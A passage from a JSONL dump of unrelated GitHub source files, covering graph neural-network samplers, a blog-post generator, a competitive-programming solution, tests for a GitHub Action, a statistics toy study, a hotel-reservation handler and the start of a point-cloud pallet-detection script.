set.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9595662279","text":"from __future__ import division\nfrom __future__ import print_function\n\nfrom graphsage.layers import Layer\n\nimport tensorflow as tf\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\n\n\"\"\"\nClasses that are used to sample node neighborhoods\n\"\"\"\n\nclass UniformNeighborSampler(Layer):\n \"\"\"\n Uniformly samples neighbors.\n Assumes that adj lists are padded with random re-sampling\n \"\"\"\n def __init__(self, adj_info, **kwargs):\n super(UniformNeighborSampler, self).__init__(**kwargs)\n self.adj_info = adj_info\n\n def _call(self, inputs):\n ids, num_samples = inputs\n adj_lists = tf.nn.embedding_lookup(self.adj_info, ids)\n adj_lists = tf.transpose(tf.random_shuffle(tf.transpose(adj_lists)))\n adj_lists = tf.slice(adj_lists, [0,0], [-1, num_samples])\n return adj_lists\n\nclass LinearDegreeNeighborSampler(Layer):\n \"\"\"\n Samples neighbors according to the ranking of degrees.\n Samples the *num_samples* highest degree neighbors.\n This sampler assume that the adj_info is already sorted according to degree ranking\n and padded with random re-sampling if needed.\n \"\"\"\n def __init__(self, adj_info, **kwargs):\n super(LinearDegreeNeighborSampler, self).__init__(**kwargs)\n self.adj_info = adj_info\n\n def _call(self, inputs):\n assert FLAGS.sampler == 'lineardegree', 'Wrongly called linear degree sampler'\n ids, num_samples = inputs\n adj_lists = tf.nn.embedding_lookup(self.adj_info, ids)\n adj_lists = tf.transpose(tf.random_shuffle(tf.transpose(adj_lists)))\n adj_lists = tf.slice(adj_lists, [0,0], [-1, num_samples])\n return adj_lists\n\n#class LinearDegreeNeighborSampler(Layer):\n#\n# def _call(self, inputs):\n# ids, num_samples = inputs\n# adj_lists = tf.nn.embedding_lookup(self.adj_info, ids)\n# shape = adj_lists.shape\n#\n# deg_lists = tf.nn.embedding_lookup(tf.reshape(self.deg_info, [-1]), tf.reshape(adj_lists, [-1]))\n# deg_lists = tf.reshape(deg_lists, shape)\n# deg_lists, indices = tf.nn.top_k(deg_lists, k=num_samples, sorted=True)\n#\n# to_add = tf.reshape(tf.range(adj_lists.shape[0]*adj_lists.shape[1], delta=adj_lists.shape[1]), (adj_lists.shape[0], -1))\n# to_add = tf.tile(to_add, (1, indices.shape[1]))\n#\n# indices_ = indices + to_add\n#\n# adj_lists = tf.gather(tf.reshape(adj_lists, [-1]), tf.reshape(indices_, [-1]))\n# adj_lists = tf.reshape(adj_lists, (shape[0], num_samples))\n# return adj_lists\n\n\n\n\n","repo_name":"lyufj/CS229_Project","sub_path":"Code/graphsage/neigh_samplers.py","file_name":"neigh_samplers.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74160188386","text":"#!/usr/bin/python3.5\nimport os\nimport re\nimport argparse\nimport signal\nimport datetime\nimport configparser\nimport helpers\n\nCURRENT_DIR = os.path.dirname(os.path.realpath(__file__))\nBLOG_DIR = os.path.join(CURRENT_DIR, 'blog')\nPHOTO_DIR = os.path.join(BLOG_DIR, 'photos')\nBLOG_GALLERY_IMAGE_WIDTH = 317\nBLOG_GALLERY_IMAGE_HEIGHT = 211\nFB_IMAGE_WIDTH = 1200\n\n\ndef get_blog_files(title):\n filename = helpers.filename(title)\n\n if not filename:\n raise ValueError('Hmm, we kunnen geen juiste bestanden maken voor titel: {!r}'.format(title))\n\n metafile = os.path.join(BLOG_DIR, '{}.meta'.format(filename))\n mdfile = os.path.join(BLOG_DIR, '{}.md'.format(filename))\n jpgfile = os.path.join(BLOG_DIR, 'photos', '{}.jpg'.format(filename))\n fbimage = os.path.join(BLOG_DIR, 'fb', '{}.jpg'.format(filename))\n\n return metafile, mdfile, jpgfile, fbimage, filename\n\n\ndef check_title(title):\n if not title:\n raise ValueError('Een titel is echt nodig!')\n\n for fn in get_blog_files(title):\n if os.path.exists(fn):\n raise ValueError('Bestand {!r} bestaat al!'.format(fn))\n\n\ndef check_description(description):\n if not description:\n raise ValueError('Een omschrijving is echt nodig!')\n\n\ndef check_photo(photo):\n if not photo:\n raise ValueError('Een foto heeft je blog echt nodig!')\n\n if not os.path.isfile(photo):\n raise ValueError('Sorry, ik kan foto {!r} niet vinden!'.format(photo))\n\n if not photo.lower().endswith('.jpg'):\n raise ValueError('Sorry, ik span alleen .jpg foto\\'s!')\n\n img = helpers.resized_img(img=photo, maxwidth=BLOG_GALLERY_IMAGE_WIDTH)\n if not helpers.approx(BLOG_GALLERY_IMAGE_HEIGHT, img.size[1]):\n raise ValueError('Sorry, de foto moet een verhouding hebben van 3x2 en deze foto is {}x{}!'.format(img.size[0], img.size[1]))\n\ndef check_date(date):\n try:\n datetime.datetime.strptime(date, '%Y-%m-%d')\n except:\n raise ValueError('Ik verwacht een datum zoals de verjaardag van ons Iriske: 2013-02-06')\n\n\ndef create_post(args):\n metafile, mdfile, jpgfile, fbimage, name = get_blog_files(args.title)\n\n date = datetime.datetime.strptime(args.date, '%Y-%m-%d')\n\n with open(mdfile, 'w', encoding='utf-8') as f:\n f.write('\\n'.join([args.title, '=' * len(args.title), '', '###{} {} {}'.format(\n date.day, helpers.month(date), date.year)]))\n\n post_img = helpers.resized_img(img=args.photo, maxwidth=BLOG_GALLERY_IMAGE_WIDTH)\n post_img.save(jpgfile)\n\n fb_img = helpers.resized_img(img=args.photo, maxwidth=FB_IMAGE_WIDTH)\n fb_img.save(fbimage)\n\n config = configparser.RawConfigParser()\n config['blog_post'] = {\n 'name': name,\n 'title': args.title,\n 'date': args.date,\n 'photo': os.path.basename(jpgfile),\n 'content': os.path.basename(mdfile),\n 'fb-title': args.title,\n 'fb-description': args.description,\n 'fb-image': os.path.basename(fbimage),\n 'fb-image-type': 'image/jpeg',\n 'fb-image-width': fb_img.size[0],\n 'fb-image-height': fb_img.size[1]\n }\n\n with open(metafile, 'w', encoding='utf-8') as f:\n config.write(f)\n\n os.mkdir(os.path.join(BLOG_DIR, 'photos', name))\n\n print('Finished creating blog \\'{}\\''.format(args.title))\n\n\nif __name__ == '__main__':\n helpers.handlectrlc()\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-t',\n '--title',\n type=str,\n default='',\n help='Blog titel')\n\n parser.add_argument(\n '-i',\n '--description',\n type=str,\n default='',\n help='Blog description (facebook)')\n\n parser.add_argument(\n '-d',\n '--date',\n type=str,\n default='',\n help='Blog datum')\n\n parser.add_argument(\n '-p',\n '--photo',\n type=str,\n default='',\n help='Blog (title) photo')\n\n args = parser.parse_args()\n\n try:\n check_title(args.title)\n except:\n args.title = helpers.ask_string(\n title='Type een titel voor je nieuwe blog post',\n func=check_title)\n\n try:\n check_description(args.description)\n except:\n args.description = helpers.ask_string(\n title='Type een omschrijving (voor facebook)',\n func=check_description)\n\n try:\n check_date(args.date)\n except:\n args.date = helpers.ask_string(\n title='Type een datum voor je nieuwe blog post',\n default=str(datetime.date.today()),\n func=check_date)\n\n try:\n check_photo(args.photo)\n except:\n args.photo = helpers.ask_string(\n title='Type de locatie van de foto die je wilt gebruiken voor je nieuwe blog post',\n default='src/blog.jpg',\n func=check_photo)\n\n create_post(args)","repo_name":"joente/sasien","sub_path":"add_post.py","file_name":"add_post.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17965484376","text":"#fail\nimport sys\nn = int(input())\ntable = [['-']+ list(input()) + ['-'] for i in range(n)]\ncnt = 0\nbeforeline = table.pop(0)\n\nfor i in range(n+2):\n if beforeline[i] == 'X': #첫줄에서 x가 발견되면\n cnt = max(cnt, 1)\n if beforeline[i+1] == 'X': #앞에 컬러가 사용됐으면\n cnt = 2 #최대 색상 2개\n\nfor nowline in table:\n for i in range(1, n+2):\n if nowline[i] == 'X':\n if beforeline[i] == 'X' or beforeline[i+1] == 'X':\n cnt = 2\n if beforeline[i] == 'X' and beforeline[i+1] == 'X': # 위, 위 뒤\n print(3)\n sys.exit(0)\n if beforeline[i-1] == 'X' and nowline[i+1] == 'X': #위 뒤, 뒤\n print(3)\n sys.exit(0)\n if nowline[i-1] == 'X': #앞에 컬러가 사용됐으면\n cnt = 2\n beforeline = nowline\nprint(cnt)\n\n'''\n#!/usr/bin/python3\nimport sys\nsys.setrecursionlimit(1000000)\nn = int(input())\na = [input() for _ in range(n)]\ncolor = [[-1]*n for _ in range(n)]\ndx = [-1,-1,0,0,1,1]\ndy = [0,1,-1,1,-1,0]\nans = 0\n\ndef dfs(x, y, c):\n global ans\n color[x][y] = c\n ans = max(ans, 1)\n for k in range(6):\n nx, ny = x+dx[k], y+dy[k]\n if 0 <= nx < n and 0 <= ny < n:\n if a[nx][ny] == 'X':\n if color[nx][ny] == -1:\n dfs(nx, ny, 1-c)\n ans = max(ans, 2)\n if color[nx][ny] == c:\n ans = max(ans, 3)\n\n\nfor i in range(n):\n for j in range(n):\n if a[i][j] == 'X' and color[i][j] == -1:\n dfs(i, j, 0)\n\nprint(ans)\n'''","repo_name":"123qpq/Beakjoon","sub_path":"gold/level4/육각보드(fail).py","file_name":"육각보드(fail).py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"35947749631","text":"\"\"\"Tests for the GitHub Action ``main.py`` module\"\"\"\n\n# pylint: disable=use-dict-literal\n\nimport re\nimport sys\nfrom contextlib import contextmanager\nfrom pathlib import Path\nfrom runpy import run_module\nfrom subprocess import PIPE, STDOUT, CompletedProcess # nosec\nfrom types import SimpleNamespace\nfrom typing import Dict, Generator\nfrom unittest.mock import ANY, Mock, call, patch\n\nimport pytest\n\n# pylint: disable=redefined-outer-name,unused-argument\n\n\nBIN = \"Scripts\" if sys.platform == \"win32\" else \"bin\"\n\n\nclass SysExitCalled(Exception):\n \"\"\"Mock exception to catch a call to `sys.exit`\"\"\"\n\n\n@pytest.fixture\ndef run_main_env() -> Dict[str, str]:\n \"\"\"By default, call `main.py` with just `GITHUB_ACTION_PATH` in the environment\"\"\"\n return {}\n\n\n@contextmanager\ndef patch_main(\n tmp_path: Path,\n run_main_env: Dict[str, str],\n pip_returncode: int = 0,\n) -> Generator[SimpleNamespace, None, None]:\n \"\"\"Patch `subprocess.run`, `sys.exit` and environment variables\n\n :param tmp_path: Path to use for the `GITHUB_ACTION_PATH` environment variable\n :param run_main_env: Additional environment for running ``main.py``\n :yield: An object with `.subprocess.run` and `.sys.exit` mock objects\n\n \"\"\"\n\n def run(args, **kwargs):\n returncode = pip_returncode if args[1:3] == [\"-m\", \"pip\"] else 0\n return CompletedProcess(args, returncode, stdout=\"\", stderr=\"\")\n\n run_mock = Mock(wraps=run)\n exit_ = Mock(side_effect=SysExitCalled)\n with patch(\"subprocess.run\", run_mock), patch(\"sys.exit\", exit_), patch.dict(\n \"os.environ\", {\"GITHUB_ACTION_PATH\": str(tmp_path), **run_main_env}\n ):\n\n yield SimpleNamespace(\n subprocess=SimpleNamespace(run=run_mock), sys=SimpleNamespace(exit=exit_)\n )\n\n\n@pytest.fixture\ndef main_patch(\n tmp_path: Path, run_main_env: Dict[str, str]\n) -> Generator[SimpleNamespace, None, None]:\n \"\"\"`subprocess.run, `sys.exit` and environment variables patching as Pytest fixture\n\n :param tmp_path: Path to use for the `GITHUB_ACTION_PATH` environment variable\n :param run_main_env: Additional environment for running ``main.py``\n :yield: An object with `.subprocess.run` and `.sys.exit` mock objects\n\n \"\"\"\n with patch_main(tmp_path, run_main_env) as run_main_fixture:\n yield run_main_fixture\n\n\ndef test_creates_virtualenv(tmp_path, main_patch):\n \"\"\"The GitHub action creates a virtualenv for Darker\"\"\"\n with pytest.raises(SysExitCalled):\n\n run_module(\"main\")\n\n assert main_patch.subprocess.run.call_args_list[0] == call(\n [sys.executable, \"-m\", \"venv\", str(tmp_path / \".darker-env\")],\n check=True,\n )\n\n\n@pytest.mark.kwparametrize(\n dict(run_main_env={}, expect=[\"darker[color,isort]\"]),\n dict(\n run_main_env={\"INPUT_VERSION\": \"1.5.0\"}, expect=[\"darker[color,isort]==1.5.0\"]\n ),\n dict(\n run_main_env={\"INPUT_VERSION\": \"@master\"},\n expect=[\n \"git+https://github.com/akaihola/darker@master#egg=darker[color,isort]\"\n ],\n ),\n dict(\n run_main_env={\"INPUT_LINT\": \"pylint\"},\n expect=[\"darker[color,isort]\", \"pylint\"],\n ),\n dict(\n run_main_env={\"INPUT_LINT\": \"pylint,flake8\"},\n expect=[\"darker[color,isort]\", \"pylint\", \"flake8\"],\n ),\n dict(\n run_main_env={\"INPUT_LINT\": \" flake8 \"},\n expect=[\"darker[color,isort]\", \"flake8\"],\n ),\n dict(\n run_main_env={\"INPUT_LINT\": \" flake8 , pylint \"},\n expect=[\"darker[color,isort]\", \"flake8\", \"pylint\"],\n ),\n dict(\n run_main_env={\"INPUT_LINT\": \" flake8 >= 3.9.2 , pylint == 2.13.1 \"},\n expect=[\"darker[color,isort]\", \"flake8>=3.9.2\", \"pylint==2.13.1\"],\n ),\n)\ndef test_installs_packages(tmp_path, main_patch, run_main_env, expect):\n \"\"\"Darker, isort and linters are installed in the virtualenv using pip\"\"\"\n with pytest.raises(SysExitCalled):\n\n run_module(\"main\")\n\n assert main_patch.subprocess.run.call_args_list[1] == call(\n [\n str(tmp_path / \".darker-env\" / BIN / \"python\"),\n \"-m\",\n \"pip\",\n \"install\",\n ]\n + expect,\n check=False,\n stdout=PIPE,\n stderr=STDOUT,\n encoding=\"utf-8\",\n )\n\n\n@pytest.mark.parametrize(\n \"linters\", [\"foo\", \" foo \", \"foo==2.0,bar\", \" foo>1.0 , bar \", \"pylint,foo\"]\n)\ndef test_wont_install_unknown_packages(tmp_path, linters):\n \"\"\"Non-whitelisted linters raise an exception\"\"\"\n with patch_main(tmp_path, {\"INPUT_LINT\": linters}) as main_patch, pytest.raises(\n RuntimeError,\n match=re.escape(\"'foo' is not supported as a linter by the GitHub Action\"),\n ):\n\n run_module(\"main\")\n\n # only virtualenv `run` called, `pip` and `darker` not called\n (venv_create,) = main_patch.subprocess.run.call_args_list\n assert venv_create == call([ANY, \"-m\", \"venv\", ANY], check=True)\n assert not main_patch.sys.exit.called\n\n\n@pytest.mark.kwparametrize(\n dict(env={\"INPUT_SRC\": \".\"}, expect=[\"--revision\", \"HEAD^\", \".\"]),\n dict(\n env={\"INPUT_SRC\": \"subdir/ myfile.py\"},\n expect=[\"--revision\", \"HEAD^\", \"subdir/\", \"myfile.py\"],\n ),\n dict(\n env={\"INPUT_SRC\": \".\", \"INPUT_OPTIONS\": \"--isort\"},\n expect=[\"--isort\", \"--revision\", \"HEAD^\", \".\"],\n ),\n dict(\n env={\"INPUT_SRC\": \".\", \"INPUT_REVISION\": \"master...\"},\n expect=[\"--revision\", \"master...\", \".\"],\n ),\n dict(\n env={\"INPUT_SRC\": \".\", \"INPUT_COMMIT_RANGE\": \"master...\"},\n expect=[\"--revision\", \"master...\", \".\"],\n ),\n dict(\n env={\n \"INPUT_SRC\": \".\",\n \"INPUT_REVISION\": \"master...\",\n \"INPUT_COMMIT_RANGE\": \"ignored\",\n },\n expect=[\"--revision\", \"master...\", \".\"],\n ),\n dict(\n env={\"INPUT_SRC\": \".\", \"INPUT_LINT\": \"pylint,flake8\"},\n expect=[\"--lint\", \"pylint\", \"--lint\", \"flake8\", \"--revision\", \"HEAD^\", \".\"],\n ),\n dict(\n env={\"INPUT_SRC\": \".\", \"INPUT_LINT\": \"pylint == 2.13.1,flake8>=3.9.2\"},\n expect=[\"--lint\", \"pylint\", \"--lint\", \"flake8\", \"--revision\", \"HEAD^\", \".\"],\n ),\n dict(\n env={\n \"INPUT_SRC\": \"here.py there/too\",\n \"INPUT_OPTIONS\": \"--isort --verbose\",\n \"INPUT_REVISION\": \"master...\",\n \"INPUT_COMMIT_RANGE\": \"ignored\",\n \"INPUT_LINT\": \"pylint,flake8\",\n },\n expect=[\n \"--isort\",\n \"--verbose\",\n \"--lint\",\n \"pylint\",\n \"--lint\",\n \"flake8\",\n \"--revision\",\n \"master...\",\n \"here.py\",\n \"there/too\",\n ],\n ),\n)\ndef test_runs_darker(tmp_path, env, expect):\n \"\"\"Configuration translates correctly into a Darker command line\"\"\"\n with patch_main(tmp_path, env) as main_patch, pytest.raises(SysExitCalled):\n\n run_module(\"main\")\n\n darker = str(tmp_path / \".darker-env\" / BIN / \"darker\")\n # We can change `c[0][0][0]` to `c.args[0][0]` after dropping Python 3.7 support.\n # This gets the first list item of the first positional argument to the `run` call.\n assert darker in [c[0][0][0] for c in main_patch.subprocess.run.call_args_list]\n\n\ndef test_error_if_pip_fails(tmp_path, capsys):\n \"\"\"Returns an error and the pip error code if pip fails\"\"\"\n with patch_main(tmp_path, {}, pip_returncode=42) as main_patch, pytest.raises(\n SysExitCalled\n ):\n\n run_module(\"main\")\n\n assert main_patch.subprocess.run.call_args_list[-1] == call(\n [ANY, \"-m\", \"pip\", \"install\", \"darker[color,isort]\"],\n check=False,\n stdout=PIPE,\n stderr=STDOUT,\n encoding=\"utf-8\",\n )\n assert (\n capsys.readouterr().out.splitlines()[-1]\n == \"::error::Failed to install darker[color,isort].\"\n )\n main_patch.sys.exit.assert_called_once_with(42)\n\n\ndef test_exits(main_patch):\n \"\"\"A successful run exits with a zero return code\"\"\"\n with pytest.raises(SysExitCalled):\n\n run_module(\"main\")\n\n main_patch.sys.exit.assert_called_once_with(0)\n","repo_name":"akaihola/darker","sub_path":"action/tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":8072,"program_lang":"python","lang":"en","doc_type":"code","stars":592,"dataset":"github-code","pt":"70"} +{"seq_id":"31314872993","text":"#!/usr/bin/env python\n\nimport os,math\nimport ROOT as r\n\ndef like(nList, muList) :\n out = 1.0\n for n,mu in zip(nList, muList) :\n out *= r.TMath.Poisson(n, mu)\n return out\n\ndef hist(values, name, title, nBins = 1000, min = 1, max = -1) :\n out = r.TH1D(name, title, nBins, min, max)\n map(out.Fill, values)\n return out\n\ndef indexFraction(item, l) :\n totalList = sorted(l+[item])\n i1 = totalList.index(item)\n totalList.reverse()\n i2 = len(totalList)-totalList.index(item)-1\n return (i1+i2)/2.0/len(l), (i2-i1)/2.0/len(l)\n\ndef draw(items) :\n for i,item in enumerate(items) :\n item.Draw(\"\" if not i else \"same\")\n\nclass foo(object) :\n def __init__(self, bList = [3.0, 3.0], sList = [2.0, 6.0], obsList = [3, 1], tsMin = None, tsMax = None, tsIndex = 0, nToys = 8000) :\n self.rand = r.TRandom3()\n self.rand.SetSeed(1)\n\n tsPair = [(self.tsN, \"num events\", lambda x:x),\n (self.tsLLR, \"log( L(n | s+b) / L(n | b) )\", lambda x:x),\n (self.tsLLRm, \"log( L(n | b) / L(n | s+b) )\", lambda x:1.0-x),\n (self.tsLH, \"log( L(n | b) )\", lambda x:1.0-x)][tsIndex]\n\n self.ts,self.tsDesc,self.tsMap = tsPair\n\n for item in [\"nToys\", \"bList\", \"sList\", \"obsList\", \"tsMin\", \"tsMax\"] :\n setattr(self, item, eval(item))\n self.sbList = [b+s for b,s in zip(self.bList, self.sList)]\n\n def tsN(self, nList) :\n return sum(nList)\n\n def tsLH(self, nList) :\n return math.log(like(nList, self.bList))\n \n def tsLLR(self, nList) :\n return math.log(like(nList, self.sbList)/like(nList, self.bList))\n \n def tsLLRm(self, nList) :\n return -self.tsLLR(nList)\n \n def tsValues(self, muList) :\n out = []\n for i in range(self.nToys) :\n out.append( self.ts([self.rand.Poisson(mu) for mu in muList]) )\n return out\n \n def tsPlot(self, canvas, psFile) :\n bValues = self.tsValues(self.bList)\n sbValues = self.tsValues(self.sbList)\n\n factor = 1.1\n minimum = min(bValues + sbValues) if not self.tsMin else self.tsMin\n maximum = max(bValues + sbValues) if not self.tsMax else self.tsMax\n maximum = factor*maximum if maximum>0 else maximum/factor\n minimum = factor*minimum if maximum<0 else minimum/factor\n\n bHist = hist(bValues, name = \"b\", title = \";%s;toys / bin\"%self.tsDesc, min = minimum, max = maximum)\n sbHist = hist(sbValues, name = \"sb\", title = \";%s;toys / bin\"%self.tsDesc, min = minimum, max = maximum)\n\n yMax = max(bHist.GetMaximum(), sbHist.GetMaximum())\n x = self.ts(self.obsList)\n obsLine = r.TLine(x, 0.0, x, yMax)\n obsLine.SetLineWidth(1)\n obsLine.SetLineStyle(3)\n\n leg = r.TLegend(0.5, 0.7, 0.9, 0.9)\n leg.SetBorderSize(0)\n leg.SetFillStyle(0)\n leg.AddEntry(bHist, \"b hypothesis; b = %s\"%str(self.bList), \"l\")\n leg.AddEntry(sbHist, \"s + b hypothesis; s = %s\"%str(self.sList), \"l\")\n leg.AddEntry(obsLine, \"observed value; n = %s\"%str(self.obsList), \"l\")\n\n bHist.SetLineColor(r.kBlue)\n sbHist.SetLineColor(r.kRed)\n\n bHist.SetStats(False)\n bHist.SetFillStyle(3001)\n\n draw([bHist, sbHist, obsLine, leg])\n\n text = r.TText()\n text.SetNDC()\n\n clb,clbErr = clx(tsObs = x, hist = bHist)\n clb = self.tsMap(clb)\n\n clsb,clsbErr = clx(tsObs = x, hist = sbHist)\n clsb = self.tsMap(clsb)\n\n t2 = text.DrawText(0.13, 0.85, \"CLb = %6.3f +- %6.3f\"%(clb, clbErr))\n t2 = text.DrawText(0.13, 0.75, \"CLs+b = %6.3f +- %6.3f\"%(clsb, clsbErr))\n t2 = text.DrawText(0.13, 0.65, \"CLs = %6.3f\"%(clsb/clb))\n\n #pValueFromLeft,pValueFromLeftError = indexFraction(x, bValues)\n #t1 = text.DrawText(0.1, 0.85, \"CLb (v2) = %6.3f +- %6.3f\"%(1.0 - pValueFromLeft, pValueFromLeftError))\n\n canvas.Print(psFile)\n\ndef clx(tsObs = None, hist = None) :\n xBin = hist.FindBin(tsObs)\n value = hist.Integral(0, xBin)\n error = hist.Integral(xBin, xBin)/2.0\n value -= error\n total = hist.Integral(0, hist.GetNbinsX()+1)\n return (value/total, error/total)\n\ndef go(name = \"out\", items = []) :\n psFile = \"%s.ps\"%name\n canvas = r.TCanvas()\n canvas.Print(psFile+\"[\")\n\n for item in items :\n item.tsPlot(canvas, psFile)\n\n canvas.Print(psFile+\"]\")\n os.system(\"ps2pdf %s\"%psFile)\n os.remove(psFile)\n\nnToys = 8000\ngo(\"oneBin_varying_s_obs1\",\n #[foo(sList = [ 2.0], bList = [0.01], obsList = [1], tsIndex = 2, nToys = nToys),\n #[foo(sList = [ 3.0], bList = [1.0], obsList = [0], tsIndex = 2, nToys = nToys),\n #[foo(sList = [ 2.0], bList = [0.2], obsList = [0], tsIndex = 0, nToys = nToys),\n [#foo(sList = [ 9.0], bList = [58.0], obsList = [52], tsIndex = 0, nToys = nToys),\n foo(sList = [ 9.0, 5.0], bList = [58.0, 30.0], obsList = [52, 20], tsIndex = 0, nToys = nToys),\n ])\n#go(\"oneBin_varying_s_obs1\",\n# [foo(sList = [60.0], bList = [3.0], obsList = [1], tsIndex = 2, nToys = nToys),\n# foo(sList = [30.0], bList = [3.0], obsList = [1], tsIndex = 2, nToys = nToys),\n# foo(sList = [12.0], bList = [3.0], obsList = [1], tsIndex = 2, nToys = nToys),\n# oo(sList = [ 6.0], bList = [3.0], obsList = [1], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 3.0], bList = [3.0], obsList = [1], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 1.0], bList = [3.0], obsList = [1], tsIndex = 2, nToys = nToys),\n# foo(sList = [0.25], bList = [3.0], obsList = [1], tsIndex = 2, nToys = nToys),\n# ])\n#\n#go(\"oneBin_varying_s_obs6\",\n# [foo(sList = [60.0], bList = [3.0], obsList = [6], tsIndex = 2, nToys = nToys),\n# foo(sList = [30.0], bList = [3.0], obsList = [6], tsIndex = 2, nToys = nToys),\n# foo(sList = [12.0], bList = [3.0], obsList = [6], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 6.0], bList = [3.0], obsList = [6], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 3.0], bList = [3.0], obsList = [6], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 1.0], bList = [3.0], obsList = [6], tsIndex = 2, nToys = nToys),\n# foo(sList = [0.25], bList = [3.0], obsList = [6], tsIndex = 2, nToys = nToys),\n# ])\n#\n#go(\"multiBin_different_sOverb\",\n# [foo(sList = [60.0, 6.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [30.0, 6.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [12.0, 6.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 6.0, 6.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 3.0, 6.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 1.0, 6.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [0.25, 6.0], tsIndex = 2, nToys = nToys),\n# ])\n#\n#go(\"multiBin_same_sOverb\",\n# [foo(sList = [60.0, 60.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [30.0, 30.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [12.0, 12.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 6.0, 6.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 3.0, 3.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [ 1.0, 1.0], tsIndex = 2, nToys = nToys),\n# foo(sList = [0.25, 0.25], tsIndex = 2, nToys = nToys),\n# ])\n","repo_name":"elaird/ra1stats","sub_path":"aux/cls.py","file_name":"cls.py","file_ext":"py","file_size_in_byte":7130,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"36319916426","text":"from sqlwrapper import gensql\r\nimport json\r\nimport datetime\r\nfrom ApplicationDate import application_date\r\n\r\n\r\ndef HOTEL_RES_POST_UPDATE_UpdateDeposit(request):\r\n s = {}\r\n d = request.json\r\n print(d)\r\n a = { k : v for k,v in d.items() if v != '' if k not in ('Res_id','Res_unique_id','deposit_id')}\r\n print(a)\r\n e = { k : v for k,v in d.items() if k != '' if k in ('Res_id','Res_unique_id','deposit_id')}\r\n\r\n print(e)\r\n sql_value = gensql('update','reservation.res_deposit',a,e)\r\n \r\n s = {}\r\n s['Emp_Id'] = \"121\"\r\n s['Emp_Firstname'] = \"Admin\"\r\n app_datetime = application_date()\r\n s['RES_Log_Date'] = app_datetime[1]\r\n s['RES_Log_Time'] = app_datetime[2]\r\n s['RES_Action_Type'] = \"Deposit amount is\"+\" \"+d['RES_Deposit_Amount']\r\n s['RES_Description'] = 'deposit amount is paid'\r\n s['Res_id'] = d['Res_id']\r\n s['Res_unique_id'] = d['Res_unique_id']\r\n sql_value = gensql('insert','reservation.res_activity_log',s)\r\n\r\n return(json.dumps({'Status': 'Success', 'StatusCode': '200','Return': 'Record Updated Successfully','ReturnCode':'RUS'}, sort_keys=True, indent=4))\r\n","repo_name":"padmanabhanvj9/hotel360","sub_path":"HOTEL_RES_POST_UPDATE_UpdateDeposit.py","file_name":"HOTEL_RES_POST_UPDATE_UpdateDeposit.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38402439262","text":"import numpy as np\nimport open3d as o3d\nimport rospy\nimport sensor_msgs.point_cloud2 as pcl2\nfrom sensor_msgs.msg import PointCloud2, PointField, Image\nimport std_msgs\nimport timeit\nfrom matplotlib import pyplot as plt\nimport math\nimport struct\nimport copy\nimport message_filters\nfrom cv_bridge import CvBridge, CvBridgeError\nimport cv2\n\n# python3 main.py --eps 0.01 --min_points 10 --ransac_n_cluster 40 --ransac_n_cluster_pallet_detection 40 --eps_refine 0.03 --min_points_refine 10 --max_dis 4\n\n\n\n# L515 (1m - 2m)\n# python3 main.py --eps 0.01 --min_points 10 --ransac_n_cluster 40 --ransac_n_cluster_pallet_detection 40 \n\n# L515 (2m - 3m)\n# python3 main.py --eps 0.05 --min_points 10 --ransac_n_cluster 40 --ransac_n_cluster_pallet_detection 40 --eps_refine 0.025 --min_points_refine 10\n\n# L515 (3m - 4m)\n# python3 main.py --eps 0.05 --min_points 10 --ransac_n_cluster 40 --ransac_n_cluster_pallet_detection 40 --eps_refine 0.03 --min_points_refine 10 --max_dis 4\n\n\n\n# L515 (up 1m: 1m-2.5m)\n# python3 main.py --eps 0.01 --min_points 10 --ransac_n_cluster 40 --pallet_height 1 --ransac_n_cluster_pallet_detection 25 --eps_refine 0.025\n\n# L515 (up 1m: 2.5m-4m)\n# python3 main.py --eps 0.05 --min_points 10 --ransac_n_cluster 40 --pallet_height 1 --ransac_n_cluster_pallet_detection 25 --eps_refine 0.025 --max_dis 4\n\n\ndef display_inlier_outlier(cloud, ind):\n inlier_cloud = cloud.select_by_index(ind)\n outlier_cloud = cloud.select_by_index(ind, invert=True)\n\n print(\"Showing outliers (red) and inliers (gray): \")\n outlier_cloud.paint_uniform_color([1, 0, 0])\n inlier_cloud.paint_uniform_color([0.8, 0.8, 0.8])\n o3d.visualization.draw_geometries([inlier_cloud, outlier_cloud])\n\n\ndef preprocess_point_cloud(pcd, voxel_size):\n print(\":: Downsample with a voxel size %.3f.\" % voxel_size)\n pcd_down = pcd.voxel_down_sample(voxel_size)\n\n radius_normal = voxel_size * 2\n print(\":: Estimate normal with search radius %.3f.\" % radius_normal)\n pcd_down.estimate_normals(\n o3d.geometry.KDTreeSearchParamHybrid(radius=radius_normal, max_nn=30))\n\n radius_feature = voxel_size * 5\n print(\":: Compute FPFH feature with search radius %.3f.\" % radius_feature)\n pcd_fpfh = o3d.registration.compute_fpfh_feature(\n pcd_down,\n 